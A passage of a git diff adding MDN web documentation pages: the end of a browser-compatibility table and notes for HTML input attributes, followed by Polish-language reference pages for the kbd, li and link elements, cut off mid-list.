</tr> + <tr> + <td>maxlength</td> + <td>1.0</td> + <td>{{CompatGeckoDesktop("1.7")}}</td> + <td>2</td> + <td>1.0</td> + <td>1.0</td> + </tr> + <tr> + <td>min</td> + <td>5.0</td> + <td>{{CompatGeckoDesktop("16.0")}}</td> + <td>{{CompatUnknown}}</td> + <td>10.62</td> + <td>{{CompatUnknown}}</td> + </tr> + <tr> + <td>minlength</td> + <td>40.0</td> + <td>{{CompatUnknown}}</td> + <td>{{CompatUnknown}}</td> + <td>27.0</td> + <td>{{CompatUnknown}}</td> + </tr> + <tr> + <td>multiple</td> + <td>1.0 (supported for type=file and type=email as of 5.0)</td> + <td>{{CompatGeckoDesktop("1.9.2")}} for <strong>type</strong>=file<br> + {{CompatVersionUnknown}} for <strong>type</strong>=email</td> + <td>10</td> + <td>1.0 (10.62 support for type=file and as of 11.01 type=email)</td> + <td>{{CompatUnknown}}</td> + </tr> + <tr> + <td>name</td> + <td>1.0</td> + <td>{{CompatGeckoDesktop("1.7 or earlier")}}</td> + <td>2</td> + <td>1.0</td> + <td>1.0</td> + </tr> + <tr> + <td>pattern</td> + <td>5.0</td> + <td>{{CompatGeckoDesktop("2.0")}}</td> + <td>10</td> + <td>9.6</td> + <td>{{CompatNo}}</td> + </tr> + <tr> + <td>placeholder</td> + <td>10.0</td> + <td>{{CompatGeckoDesktop("2.0")}}</td> + <td>10</td> + <td>11.00</td> + <td>5.0</td> + </tr> + <tr> + <td>readonly</td> + <td>1.0</td> + <td>{{CompatGeckoDesktop("1.7 or earlier")}}</td> + <td>6 (missing for <strong>type</strong> of <code>checkbox</code>, <code>radio</code>)</td> + <td>1.0</td> + <td>1.0</td> + </tr> + <tr> + <td>required</td> + <td>5.0 (support for select element as of 10)</td> + <td>{{CompatGeckoDesktop("2.0")}}</td> + <td>10</td> + <td>9.6</td> + <td>{{CompatNo}}</td> + </tr> + <tr> + <td>size</td> + <td>1.0</td> + <td>{{CompatGeckoDesktop("1.7 or earlier")}}</td> + <td>2</td> + <td>1.0</td> + <td>1.0</td> + </tr> + <tr> + <td>spellcheck</td> + <td>10.0</td> + <td>{{CompatGeckoDesktop("1.9.2")}}</td> + <td>10</td> + <td>11.0</td> + <td>4.0</td> + </tr> + <tr> + <td>src</td> + <td>1.0</td> + <td>{{CompatGeckoDesktop("1.7 or earlier")}}</td> + <td>2</td> + <td>1.0</td> + <td>1.0</td> + </tr> + <tr> + <td>step</td> + <td>6.0</td> + <td>{{CompatGeckoDesktop("16.0")}}</td> + <td>10</td> + <td>10.62</td> + <td>5.0</td> + </tr> + <tr> + <td>tabindex</td> + <td>1.0</td> + <td>{{CompatGeckoDesktop("1.7 or earlier")}}</td> + <td>6 (elements with tabindex > 0 are not navigated)</td> + <td>{{CompatVersionUnknown}}</td> + <td>{{CompatUnknown}}</td> + </tr> + <tr> + <td>width</td> + <td>1.0</td> + <td>{{CompatGeckoDesktop("16.0")}}</td> + <td>{{CompatUnknown}}</td> + <td>1.0</td> + <td>{{CompatUnknown}}</td> + </tr> + </tbody> +</table> +</div> + +<div id="compat-mobile"> +<table class="compat-table"> + <tbody> + <tr> + <th>Feature</th> + <th>Android</th> + <th>Firefox Mobile (Gecko)</th> + <th>IE Mobile</th> + <th>Opera Mobile</th> + <th>Safari Mobile</th> + </tr> + <tr> + <td>Basic support</td> + <td>{{CompatVersionUnknown}}</td> + <td>{{CompatGeckoMobile("2.0")}}</td> + <td>{{CompatVersionUnknown}}</td> + <td>{{CompatVersionUnknown}}</td> + <td>{{CompatVersionUnknown}}</td> + </tr> + <tr> + <td>type</td> + <td>{{CompatVersionUnknown}}</td> + <td>{{CompatVersionUnknown}}</td> + <td>{{CompatVersionUnknown}}</td> + <td>{{CompatVersionUnknown}}</td> + <td>{{CompatVersionUnknown}}</td> + </tr> + <tr> + <td>type=button</td> + <td>{{CompatVersionUnknown}}</td> + <td>{{CompatVersionUnknown}}</td> + <td>{{CompatVersionUnknown}}</td> + <td>{{CompatVersionUnknown}}</td> + <td>{{CompatVersionUnknown}}</td> + </tr> + <tr> + <td>type=checkbox</td> + <td>{{CompatVersionUnknown}}</td> + <td>{{CompatVersionUnknown}}</td> + <td>{{CompatVersionUnknown}}</td> + <td>{{CompatVersionUnknown}}</td> + <td>{{CompatVersionUnknown}}</td> + </tr> + <tr> + <td>type=color</td> + <td>{{CompatUnknown}}</td> + <td>{{CompatGeckoDesktop("27.0")}}</td> + <td>{{CompatUnknown}}</td> + <td>{{CompatVersionUnknown}}</td> + <td>{{CompatUnknown}}</td> + </tr> + <tr> + <td>type=date</td> + <td>{{CompatNo}}</td> + <td>{{CompatNo}}</td> + <td>{{CompatNo}}</td> + <td>10.62</td> + <td>5.0</td> + </tr> + <tr> + <td>type=datetime</td> + <td>{{CompatNo}}</td> + <td>{{CompatNo}}</td> + <td>{{CompatNo}}</td> + <td>10.62</td> + <td>{{CompatVersionUnknown}}</td> + </tr> + <tr> + <td style="white-space: nowrap;">type=datetime-local</td> + <td>{{CompatNo}}</td> + <td>{{CompatNo}}</td> + <td>{{CompatNo}}</td> + <td>10.62</td> + <td>{{CompatVersionUnknown}}</td> + </tr> + <tr> + <td style="white-space: nowrap;">type=email</td> + <td>{{CompatUnknown}}</td> + <td>{{CompatGeckoMobile("2.0")}}</td> + <td>{{CompatUnknown}}</td> + <td>{{CompatVersionUnknown}}</td> + <td>3.1 (no validation but gives a specific keyboard)</td> + </tr> + <tr> + <td style="white-space: nowrap;">type=file</td> + <td>{{CompatUnknown}}</td> + <td>{{CompatUnknown}}</td> + <td>{{CompatUnknown}}</td> + <td>{{CompatUnknown}}</td> + <td>{{CompatVersionUnknown}} [1]</td> + </tr> + <tr> + <td style="white-space: nowrap;">type=hidden</td> + <td>{{CompatVersionUnknown}}</td> + <td>{{CompatVersionUnknown}}</td> + <td>{{CompatVersionUnknown}}</td> + <td>{{CompatVersionUnknown}}</td> + <td>{{CompatVersionUnknown}}</td> + </tr> + <tr> + <td style="white-space: nowrap;">type=image</td> + <td>{{CompatVersionUnknown}}</td> + <td>{{CompatVersionUnknown}}</td> + <td>{{CompatVersionUnknown}}</td> + <td>{{CompatVersionUnknown}}</td> + <td>{{CompatVersionUnknown}}</td> + </tr> + <tr> + <td style="white-space: nowrap;">type=month</td> + <td>{{CompatNo}}</td> + <td>{{CompatNo}}</td> + <td>{{CompatNo}}</td> + <td>10.62</td> + <td>{{CompatVersionUnknown}}</td> + </tr> + <tr> + <td style="white-space: nowrap;">type=number</td> + <td>2.3 (no validation but gives a specific keyboard)</td> + <td>{{CompatGeckoMobile("29.0")}}</td> + <td>{{CompatUnknown}}</td> + <td>{{CompatVersionUnknown}}</td> + <td>4.0 (no validation but gives a specific keyboard)</td> + </tr> + <tr> + <td style="white-space: nowrap;">type=password</td> + <td>{{CompatVersionUnknown}}</td> + <td>{{CompatVersionUnknown}}</td> + <td>{{CompatVersionUnknown}}</td> + <td>{{CompatVersionUnknown}}</td> + <td>{{CompatVersionUnknown}}</td> + </tr> + <tr> + <td style="white-space: nowrap;">type=radio</td> + <td>{{CompatVersionUnknown}}</td> + <td>{{CompatVersionUnknown}}</td> + <td>{{CompatVersionUnknown}}</td> + <td>{{CompatVersionUnknown}}</td> + <td>{{CompatVersionUnknown}}</td> + </tr> + <tr> + <td style="white-space: nowrap;">type=range</td> + <td>{{CompatUnknown}}</td> + <td>{{CompatNo}}</td> + <td>{{CompatUnknown}}</td> + <td>{{CompatVersionUnknown}}</td> + <td>5.0</td> + </tr> + <tr> + <td style="white-space: nowrap;">type=reset</td> + <td>{{CompatVersionUnknown}}</td> + <td>{{CompatVersionUnknown}}</td> + <td>{{CompatVersionUnknown}}</td> + <td>{{CompatVersionUnknown}}</td> + <td>{{CompatVersionUnknown}}</td> + </tr> + <tr> + <td style="white-space: nowrap;">type=search</td> + <td>{{CompatUnknown}}</td> + <td>{{CompatGeckoMobile("2.0")}}</td> + <td>{{CompatUnknown}}</td> + <td>10.62</td> + <td>4.0</td> + </tr> + <tr> + <td style="white-space: nowrap;">type=submit</td> + <td>{{CompatVersionUnknown}}</td> + <td>{{CompatVersionUnknown}}</td> + <td>{{CompatVersionUnknown}}</td> + <td>{{CompatVersionUnknown}}</td> + <td>{{CompatVersionUnknown}}</td> + </tr> + <tr> + <td style="white-space: nowrap;">type=tel</td> + <td>2.3</td> + <td>{{CompatGeckoMobile("2.0")}}</td> + <td>{{CompatUnknown}}</td> + <td>10.62</td> + <td>3.1</td> + </tr> + <tr> + <td style="white-space: nowrap;">type=text</td> + <td>{{CompatVersionUnknown}}</td> + <td>{{CompatVersionUnknown}}</td> + <td>{{CompatVersionUnknown}}</td> + <td>{{CompatVersionUnknown}}</td> + <td>{{CompatVersionUnknown}}</td> + </tr> + <tr> + <td style="white-space: nowrap;">type=time</td> + <td>{{CompatNo}}</td> + <td>{{CompatNo}}</td> + <td>{{CompatNo}}</td> + <td>10.62</td> + <td>{{CompatVersionUnknown}}</td> + </tr> + <tr> + <td style="white-space: nowrap;">type=url</td> + <td>{{CompatUnknown}}</td> + <td>{{CompatGeckoMobile("2.0")}}</td> + <td>{{CompatUnknown}}</td> + <td>10.62</td> + <td>3.1 (no validation but gives a specific keyboard)</td> + </tr> + <tr> + <td style="white-space: nowrap;">type=week</td> + <td>{{CompatNo}}</td> + <td>{{CompatNo}}</td> + <td>{{CompatNo}}</td> + <td>10.62</td> + <td>{{CompatVersionUnknown}}</td> + </tr> + <tr> + <td>accept=[MIME type]</td> + <td>{{CompatUnknown}}</td> + <td>{{CompatUnknown}}</td> + <td>{{CompatUnknown}}</td> + <td>{{CompatUnknown}}</td> + <td>{{CompatUnknown}}</td> + </tr> + <tr> + <td>accept=audio/*</td> + <td>{{CompatUnknown}}</td> + <td>{{CompatUnknown}}</td> + <td>{{CompatUnknown}}</td> + <td>{{CompatUnknown}}</td> + <td>{{CompatUnknown}}</td> + </tr> + <tr> + <td>accept=image/*</td> + <td>{{CompatUnknown}}</td> + <td>{{CompatUnknown}}</td> + <td>{{CompatUnknown}}</td> + <td>{{CompatUnknown}}</td> + <td>{{CompatUnknown}}</td> + </tr> + <tr> + <td>accept=video/*</td> + <td>{{CompatUnknown}}</td> + <td>{{CompatUnknown}}</td> + <td>{{CompatUnknown}}</td> + <td>{{CompatUnknown}}</td> + <td>{{CompatUnknown}}</td> + </tr> + <tr> + <td>accept=[. + ext]</td> + <td>{{CompatUnknown}}</td> + <td>{{CompatGeckoMobile("37.0")}}</td> + <td>{{CompatUnknown}}</td> + <td>{{CompatUnknown}}</td> + <td>{{CompatUnknown}}</td> + </tr> + <tr> + <td>accesskey</td> + <td>{{CompatUnknown}}</td> + <td>{{CompatUnknown}}</td> + <td>{{CompatUnknown}}</td> + <td>{{CompatUnknown}}</td> + <td>{{CompatUnknown}}</td> + </tr> + <tr> + <td>autocomplete</td> + <td>{{CompatUnknown}}</td> + <td>{{CompatGeckoMobile("2.0")}}</td> + <td>{{CompatVersionUnknown}}</td> + <td>{{CompatVersionUnknown}}</td> + <td>{{CompatVersionUnknown}}</td> + </tr> + <tr> + <td>autofocus</td> + <td>3.2</td> + <td>{{CompatGeckoMobile("2.0")}}</td> + <td>{{CompatUnknown}}</td> + <td>{{CompatVersionUnknown}}</td> + <td>{{CompatUnknown}}</td> + </tr> + <tr> + <td>checked</td> + <td>{{CompatVersionUnknown}}</td> + <td>{{CompatVersionUnknown}}</td> + <td>{{CompatVersionUnknown}}</td> + <td>{{CompatVersionUnknown}}</td> + <td>{{CompatVersionUnknown}}</td> + </tr> + <tr> + <td>disabled</td> + <td>{{CompatVersionUnknown}}</td> + <td>{{CompatGeckoMobile("2.0")}}</td> + <td>{{CompatVersionUnknown}}</td> + <td>{{CompatVersionUnknown}}</td> + <td>{{CompatVersionUnknown}}</td> + </tr> + <tr> + <td>form</td> + <td>{{CompatUnknown}}</td> + <td>{{CompatUnknown}}</td> + <td>{{CompatUnknown}}</td> + <td>{{CompatUnknown}}</td> + <td>{{CompatUnknown}}</td> + </tr> + <tr> + <td>formaction</td> + <td>{{CompatUnknown}}</td> + <td>{{CompatGeckoMobile("2.0")}}</td> + <td>{{CompatUnknown}}</td> + <td>10.62</td> + <td>5.0</td> + </tr> + <tr> + <td>formenctype</td> + <td>{{CompatUnknown}}</td> + <td>{{CompatUnknown}}</td> + <td>{{CompatUnknown}}</td> + <td>{{CompatUnknown}}</td> + <td>{{CompatUnknown}}</td> + </tr> + <tr> + <td>formmethod</td> + <td>{{CompatUnknown}}</td> + <td>{{CompatGeckoMobile("2.0")}}</td> + <td>{{CompatUnknown}}</td> + <td>10.62</td> + <td>5.0</td> + </tr> + <tr> + <td>formnovalidate</td> + <td>{{CompatUnknown}}</td> + <td>{{CompatGeckoMobile("2.0")}}</td> + <td>{{CompatUnknown}}</td> + <td>10.62</td> + <td>{{CompatUnknown}}</td> + </tr> + <tr> + <td>formtarget</td> + <td>{{CompatUnknown}}</td> + <td>{{CompatGeckoMobile("2.0")}}</td> + <td>{{CompatUnknown}}</td> + <td>10.62</td> + <td>5.0</td> + </tr> + <tr> + <td>height</td> + <td>{{CompatUnknown}}</td> + <td>{{CompatGeckoMobile("16.0")}}</td> + <td>{{CompatUnknown}}</td> + <td>{{CompatUnknown}}</td> + <td>{{CompatUnknown}}</td> + </tr> + <tr> + <td>list</td> + <td>{{CompatNo}}</td> + <td>{{CompatGeckoMobile("2.0")}}</td> + <td>{{CompatUnknown}}</td> + <td>{{CompatVersionUnknown}}</td> + <td>{{CompatUnknown}}</td> + </tr> + <tr> + <td>max</td> + <td>{{CompatUnknown}}</td> + <td>{{CompatGeckoMobile("16.0")}} (UI might remain unimplemented)</td> + <td>{{CompatUnknown}}</td> + <td>10.62</td> + <td>{{CompatUnknown}}</td> + </tr> + <tr> + <td>maxlength</td> + <td>{{CompatVersionUnknown}}</td> + <td>{{CompatGeckoMobile("2.0")}}</td> + <td>{{CompatVersionUnknown}}</td> + <td>{{CompatVersionUnknown}}</td> + <td>{{CompatVersionUnknown}}</td> + </tr> + <tr> + <td>min</td> + <td>{{CompatUnknown}}</td> + <td>{{CompatGeckoMobile("16.0")}} (UI might remain unimplemented)</td> + <td>{{CompatUnknown}}</td> + <td>10.62</td> + <td>{{CompatUnknown}}</td> + </tr> + <tr> + <td>minlength</td> + <td>{{CompatUnknown}}</td> + <td>{{CompatUnknown}}</td> + <td>{{CompatUnknown}}</td> + <td>{{CompatUnknown}}</td> + <td>{{CompatUnknown}}</td> + </tr> + <tr> + <td>multiple</td> + <td>{{CompatUnknown}}</td> + <td>{{CompatVersionUnknown}}</td> + <td>{{CompatUnknown}}</td> + <td>{{CompatVersionUnknown}}</td> + <td>{{CompatUnknown}}</td> + </tr> + <tr> + <td>name</td> + <td>{{CompatVersionUnknown}}</td> + <td>{{CompatGeckoMobile("2.0")}}</td> + <td>{{CompatVersionUnknown}}</td> + <td>{{CompatVersionUnknown}}</td> + <td>1.0</td> + </tr> + <tr> + <td>pattern</td> + <td>{{CompatUnknown}}</td> + <td>{{CompatGeckoMobile("2.0")}}</td> + <td>{{CompatUnknown}}</td> + <td>{{CompatVersionUnknown}}</td> + <td>{{CompatVersionUnknown}}</td> + </tr> + <tr> + <td>placeholder</td> + <td>2.3</td> + <td>{{CompatGeckoMobile("2.0")}}</td> + <td>{{CompatUnknown}}</td> + <td>11.10</td> + <td>4</td> + </tr> + <tr> + <td>readonly</td> + <td>{{CompatVersionUnknown}}</td> + <td>{{CompatGeckoMobile("2.0")}}</td> + <td>{{CompatVersionUnknown}}</td> + <td>{{CompatVersionUnknown}}</td> + <td>{{CompatVersionUnknown}}</td> + </tr> + <tr> + <td>required</td> + <td>{{CompatUnknown}}</td> + <td>{{CompatVersionUnknown}}</td> + <td>{{CompatUnknown}}</td> + <td>{{CompatVersionUnknown}}</td> + <td>{{CompatUnknown}}</td> + </tr> + <tr> + <td>size</td> + <td>{{CompatVersionUnknown}}</td> + <td>{{CompatGeckoMobile("2.0")}}</td> + <td>{{CompatVersionUnknown}}</td> + <td>{{CompatVersionUnknown}}</td> + <td>{{CompatVersionUnknown}}</td> + </tr> + <tr> + <td>spellcheck</td> + <td>{{CompatUnknown}}</td> + <td>{{CompatGeckoMobile("2.0")}}</td> + <td>{{CompatUnknown}}</td> + <td>11.0</td> + <td>{{CompatUnknown}}</td> + </tr> + <tr> + <td>src</td> + <td>{{CompatUnknown}}</td> + <td>{{CompatUnknown}}</td> + <td>{{CompatUnknown}}</td> + <td>{{CompatUnknown}}</td> + <td>{{CompatUnknown}}</td> + </tr> + <tr> + <td>step</td> + <td>{{CompatUnknown}}</td> + <td>{{CompatGeckoMobile("16.0")}} (UI might remain unimplemented)</td> + <td>{{CompatUnknown}}</td> + <td>10.62</td> + <td>{{CompatUnknown}}</td> + </tr> + <tr> + <td>tabindex</td> + <td>{{CompatUnknown}}</td> + <td>{{CompatUnknown}}</td> + <td>{{CompatUnknown}}</td> + <td>{{CompatUnknown}}</td> + <td>{{CompatUnknown}}</td> + </tr> + <tr> + <td>width</td> + <td>{{CompatUnknown}}</td> + <td>{{CompatGeckoMobile("16.0")}}</td> + <td>{{CompatUnknown}}</td> + <td>{{CompatUnknown}}</td> + <td>{{CompatUnknown}}</td> + </tr> + </tbody> +</table> +</div> + +<p>[1]: <a href="http://blog.uploadcare.com/post/97884147203/you-cannot-upload-files-to-a-server-using-mobile-safari">File uploads were broken</a> in Mobile Safari for iOS 8.0 and 8.0.1. The bug was fixed in iOs 8.0.2.</p> + +<p>Safari Mobile for iOS applies a default style of <code>{{cssxref("opacity")}}: 0.4</code> to disabled textual {{HTMLElement("input")}} elements. Other major browsers don't currently share this particular default style.</p> + +<p>On Safari Mobile for iOS, setting <code>{{cssxref("display")}}: block</code> on an {{HTMLElement("input")}} of <code>type="date"</code>, <code>type="time"</code>, <code>type="datetime-local"</code>, or <code>type="month"</code> causes the text within the {{HTMLElement("input")}} to become vertically misaligned. <a href="https://bugs.webkit.org/show_bug.cgi?id=139848">See WebKit bug #139848.</a></p> + +<p>As of Chrome v39, an <code><input type="date"></code> styled with <code>{{cssxref("display")}}: table-cell; {{cssxref("width")}}: 100%;</code> will have a {{cssxref("min-width")}} imposed by Chrome and it cannot become narrower than this minimum width. <a href="https://code.google.com/p/chromium/issues/detail?id=346051">See Chromium bug #346051.</a></p> + +<h3 id="Gecko_notes">Gecko notes</h3> + +<p>Firefox will, unlike other browsers, by default, <a href="http://stackoverflow.com/questions/5985839/bug-with-firefox-disabled-attribute-of-input-not-resetting-when-refreshing">persist the dynamic disabled state and (if applicable) dynamic checkedness</a> of an {{HTMLElement("input")}} across page loads. Setting the value of the {{htmlattrxref("autocomplete","input")}} attribute to <code>off</code> disables this feature; this works even when the {{htmlattrxref("autocomplete","input")}} attribute would normally not apply to the {{HTMLElement("input")}} by virtue of its {{htmlattrxref("type","input")}}. See {{bug(654072)}}.</p> + +<p>Starting in Gecko 9.0 {{geckoRelease("9.0")}}, Firefox for Android lets users capture images using their camera and upload them, without having to leave the browser. Web developers can implement this feature by simply specifying setting the <code>accept</code> attribute's value to "image/*" on their <code>file</code> input, like this:</p> + +<p><code><input type="file" accept="image/*"></code></p> + +<p>Firefox for Android sets a default {{ cssxref("background-image") }} gradient on all <code>type="text"</code>, <code>type="file"</code>, <code>type="button"</code>, and <code>type="submit"</code> inputs. This can be disabled using <code>background-image: none</code>.</p> + +<p>Firefox for Android also sets a default {{ cssxref("border") }} on all <code><input type="file"></code> elements.</p> + +<h4 id="Localization">Localization</h4> + +<p>The allowed inputs for certain <input> types depend on the locale. In some locales, 1,000.00 is a valid number, while in other locales the valid way to enter this number is 1.000,00.</p> + +<p>Firefox uses the following heuristics to determine the locale to validate the user's input (at least for type="number"):</p> + +<ul> + <li>Try the language specified by a 'lang'/'xml:lang' attribute on the element or any of its parents;</li> + <li>Try the language specified by any Content-Language HTTP header or</li> + <li>If none specified, use the browser's locale.</li> +</ul> + +<h2 id="See_also">See also</h2> + +<ul> + <li>Other form-related elements: {{HTMLElement("form")}}, {{HTMLElement("button")}}, {{HTMLElement("datalist")}}, {{HTMLElement("legend")}}, {{HTMLElement("label")}}, {{HTMLElement("select")}}, {{HTMLElement("optgroup")}}, {{HTMLElement("option")}}, {{HTMLElement("textarea")}}, {{HTMLElement("keygen")}}, {{HTMLElement("fieldset")}}, {{HTMLElement("output")}}, {{HTMLElement("progress")}} and {{HTMLElement("meter")}}.</li> + <li><a class="external" href="http://webdesignerwall.com/tutorials/cross-browser-html5-placeholder-text">Cross-browser HTML5 placeholder text</a></li> +</ul> + +<p>{{HTMLRef}}</p> diff --git a/files/pl/web/html/element/kbd/index.html b/files/pl/web/html/element/kbd/index.html new file mode 100644 index 0000000000..c957ca7c32 --- /dev/null +++ b/files/pl/web/html/element/kbd/index.html @@ -0,0 +1,27 @@ +--- +title: kbd +slug: Web/HTML/Element/kbd +tags: + - 'HTML:Opis_elementów' +translation_of: Web/HTML/Element/kbd +--- +<p> +</p> +<h3 id="Podsumowanie" name="Podsumowanie"> Podsumowanie </h3> +<p>Element <code><kbd>...</kbd></code> tworzy element liniowy wyświetlany domyślną dla przeglądarki czcionką o stałej szerokości (Lucida Console). Element jest przeznaczony do wskazywania użytkownikowi tekstu do wpisania, jednak jest powszechnie używany do ostylowania jakiegokolwiek tekstu czcionką o stałej szerokości. +</p> +<h3 id="Przyk.C5.82ad" name="Przyk.C5.82ad"> Przykład </h3> +<pre class="eval"> Wpisz w oknie dialogowym Uruchom <kbd>cmd</kbd><br /> Następnie kliknij przycisk OK. + +</pre> +<h4 id="Rezultat" name="Rezultat"> Rezultat </h4> <p>Wpisz w oknie dialogowym Uruchom <kbd>cmd</kbd><br>Następnie kliknij przycisk OK.</p> +<h3 id="Notatki" name="Notatki"> Notatki </h3> +<p>Reguła CSS może być definiowana dla selektora <code>kbd</code>, by nadpisać domyślną czcionkę przeglądarki. Ustawienia nadane przez użytkownika mogą wziąć pierwszeństwo przed określonymi w CSS. +</p><p><br> +</p> +<h3 id="Zobacz_tak.C5.BCe" name="Zobacz_tak.C5.BCe"> Zobacz także </h3> +<ul><li> <a href="pl/HTML/Element/code">Element HTML <code>code</code></a> +</li><li> Specyfikacja HTML 4.01: <a class="external" href="http://www.w3.org/TR/html4/struct/text.html#h-9.2.1">Phrase Elements</a> +</li></ul> +<p>{{ HTML:Element_Navigation() }} +</p>{{ languages( { "en": "en/HTML/Element/kbd" } ) }} diff --git a/files/pl/web/html/element/li/index.html b/files/pl/web/html/element/li/index.html new file mode 100644 index 0000000000..38adde90d0 --- /dev/null +++ b/files/pl/web/html/element/li/index.html @@ -0,0 +1,50 @@ +--- +title: li +slug: Web/HTML/Element/li +tags: + - 'HTML:Opis_elementów' +translation_of: Web/HTML/Element/li +--- +<p> +</p> +<h3 id="Podsumowanie" name="Podsumowanie"> Podsumowanie </h3> +<p>Element <code><li></code> ("list item") jest używany do wskazywania punktu listy, zawartej w <a href="pl/HTML/Element/ol">liście uporządkowanej</a> lub <a href="pl/HTML/Element/ul">liście nieuporządkowanej</a>. Może on występować tylko jako <a href="pl/HTML/Child_element">dziecko</a> poprzednio wymienionych elementów. +</p> +<ul><li> Dozwolona zawartość: <a href="pl/HTML/Elementy_blokowe">blokowa</a>, <a href="pl/HTML/Elementy_liniowe">liniowa</a> +</li><li> Dozwolony w: <a href="pl/HTML/Element/ol"><ol></a>, <a href="pl/HTML/Element/ul"><ul></a> +</li></ul> +<h3 id="Atrybuty" name="Atrybuty"> Atrybuty </h3> +<dl><dt>value {{ Deprecated_inline() }} +</dt><dd>Wskazuje aktualny numer pozycji w liście uporządkowanej, zdefiniowanej przez element <a href="pl/HTML/Element/ol"><ol></a>. Bez względu na wartość <code>type</code>, używaną do ustawienia liczb rzymskich lub liter, jedyną dozwolona wartością tego atrybutu jest liczba. Pozycje listy, które następują dalej, kontynuują numerację od ustawionej wartości. Atrybut <code>value</code> nie ma znaczenia w listach nieuporządkowanych. +</dd></dl> +<dl><dt>type {{ Deprecated_inline() }} +</dt><dd>Wskazuje typ liczenia: <code>a</code> wskazuje małe litery, <code>A</code> wskazuje wielkie litery, <code>i</code> wskazuje małe cyfry rzymskie, <code>I</code> wskazuje wielkie cyfry rzymskie. Atrybut <code>type</code> ustawiony w elemencie <a href="pl/HTML/Element/ol"><ol></a> jest używany dla wewnętrznej listy, chyba że atrybut <code>type</code> jest użyty wewnątrz zamkniętego elementu <code><li></code>. Ten atrybut jest wycofywany, użyj zamiast niego własności <a href="pl/CSS">CSS</a> <a href="pl/CSS/list-style-type">list-style-type</a>. +</dd></dl> +<p><br> +</p> +<h3 id="Przyk.C5.82ady" name="Przyk.C5.82ady">Przykłady</h3> +<pre class="brush: html"><ol> + <li>pierwszy element</li> + <li>drugi element</li> + <li>trzeci element</li> +</ol> +</pre> +<p>Powyższy kod HTML zostanie wyświetlony:</p> +<ol> <li>pierwszy element</li> <li>drugi element</li> <li>trzeci element</li> +</ol> +<pre class="brush: html"><ul> + <li>pierwszy element</li> + <li>drugi element</li> + <li>trzeci element</li> +</ul></pre> +<ul> <li>pierwszy element</li> <li>drugi element</li> <li>trzeci element</li> +</ul> +<p>Zobacz przykłady w <a href="/pl/HTML/Element/ol#Przyk.C5.82ady" title="pl/HTML/Element/ol#Przyk.C5.82ady"><ol></a> i <a href="/pl/HTML/Element/ul#Przyk.C5.82ady" title="pl/HTML/Element/ul#Przyk.C5.82ady"><ul></a>.</p><h3 id="Notatki" name="Notatki"> Notatki </h3> +<h3 id="Zobacz_tak.C5.BCe" name="Zobacz_tak.C5.BCe"> Zobacz także </h3> +<ul><li> <a href="pl/HTML/Element/ol">Znacznik <code>ol</code> (lista uporządkowana)</a> +</li><li> <a href="pl/HTML/Element/ul">Znacznik <code>ul</code> (lista nieuporządkowana)</a> +</li><li> <a href="pl/CSS/list-style">Własność CSS <code>list-style</code></a> +</li><li> <a href="pl/Liczniki_CSS">Liczniki CSS</a> +</li></ul> +<p>{{ HTML:Element_Navigation() }} +</p>{{ languages( { "en": "en/HTML/Element/li" } ) }} diff --git a/files/pl/web/html/element/link/index.html b/files/pl/web/html/element/link/index.html new file mode 100644 index 0000000000..d853ed10c3 --- /dev/null +++ b/files/pl/web/html/element/link/index.html @@ -0,0 +1,412 @@ +--- +title: '<link>: Element Łącza Zasobów Zewnętrznych' +slug: Web/HTML/Element/link +tags: + - Element + - HTML + - HTML metadane dokumentu + - Link + - Reference + - Web + - Web Performance + - metadane +translation_of: Web/HTML/Element/link +--- +<div>{{HTMLRef}}</div> + +<p><strong>Element Łącza Zasobów Zewnętrznych (<code><link></code>)</strong> określa relacje między aktualnym dokumentem a zewnętrznym zasobem. Ten element jest najczęściej używany do linkowania do {{Glossary("CSS", "arkuszy stylów")}}, ale jest również używany między innymi do tworzenia ikon strony (zarówno ikony typu "favicon", jak i ikon dla ekranu głównego i aplikacji na urządzeniach mobilnych).</p> + +<div>{{EmbedInteractiveExample("pages/tabbed/link.html")}}</div> + +<div class="hidden">The source for this interactive example is stored in a GitHub repository. If you'd like to contribute to the interactive examples project, please clone <a href="https://github.com/mdn/interactive-examples">https://github.com/mdn/interactive-examples</a> and send us a pull request.</div> + +<p>Aby połączyć zewnętrzny arkusz stylów, umieść element <code><link></code> wewnątrz swojego {{HTMLElement("head")}} w ten sposób:</p> + +<pre class="brush: html no-line-numbers"><link href="main.css" rel="stylesheet"></pre> + +<p>Ten prosty przykład podaje ścieżkę do arkusza stylów wewnątrz atrybutu <code>href</code> oraz atrybut <code>rel</code> z wartością <code>stylesheet</code>. <code>rel</code> oznacza "relację" i jest prawdopodobnie jedną z kluczowych cech elementu <code><link></code> - wartość oznacza sposób, w jaki element, z którym jest powiązany, jest powiązany z dokumentem źródłowym. Jak zobaczysz z naszego odwołania do <a href="https://wiki.developer.mozilla.org/pl/docs/Web/HTML/Link_types">typów odnośników</a>, istnieje wiele różnych rodzajów relacji.</p> + +<p>Jest wiele innych popularnych typów, na które można się natknąć. Na przykład link do favicon na stronie:</p> + +<pre class="brush: html no-line-numbers"><link rel="icon" href="favicon.ico"></pre> + +<p>Istnieje szereg innych wartości <code>rel</code> ikon, używanych głównie do wskazywania specjalnych typów ikon do wykorzystania na różnych platformach mobilnych, np.:</p> + +<pre class="brush: html no-line-numbers"><link rel="apple-touch-icon-precomposed" sizes="114x114" + href="apple-icon-114.png" type="image/png"></pre> + +<p>Atrybut <code>sizes</code> oznacza rozmiar ikony, a <code>type</code> zawiera typ MIME łączonego zasobu. Dostarczają one użytecznych wskazówek, które pozwalają przeglądarce na wybór najbardziej odpowiedniej dostępnej ikony.</p> + +<p>Możesz również podać typ nośnika lub zapytanie wewnątrz atrybutu <code>media</code>; zasób ten zostanie załadowany tylko wtedy, gdy stan nośnika jest prawdziwy. Na przykład:</p> + +<pre class="brush: html no-line-numbers"><link href="print.css" rel="stylesheet" media="print"> +<link href="mobile.css" rel="stylesheet" media="screen and (max-width: 600px)"></pre> + +<p>Do elementu <code><link></code> dodano również kilka interesujących nowych funkcji wydajności i zabezpieczeń. Weźmy ten przykład:</p> + +<pre class="brush: html no-line-numbers"><link rel="preload" href="myFont.woff2" as="font" + type="font/woff2" crossorigin="anonymous"></pre> + +<p>Wartość <code>rel</code> dla <code>preload</code> wskazuje, że przeglądarka powinna wstępnie załadować ten zasób (więcej szczegółów w sekcji <a href="https://wiki.developer.mozilla.org/pl/docs/Web/HTML/Preloading_content">Wstępne załadowanie zawartości z rel="preload"</a>), z atrybutem <code>as</code> wskazującym konkretną klasę pobieranej zawartości. Atrybut crossorigin wskazuje, czy zasób powinien być pobierany z żądaniem {{Glossary("CORS")}}.</p> + +<p>Pozostałe uwagi dotyczące zastosowania:</p> + +<ul> + <li>Element <code><link></code> 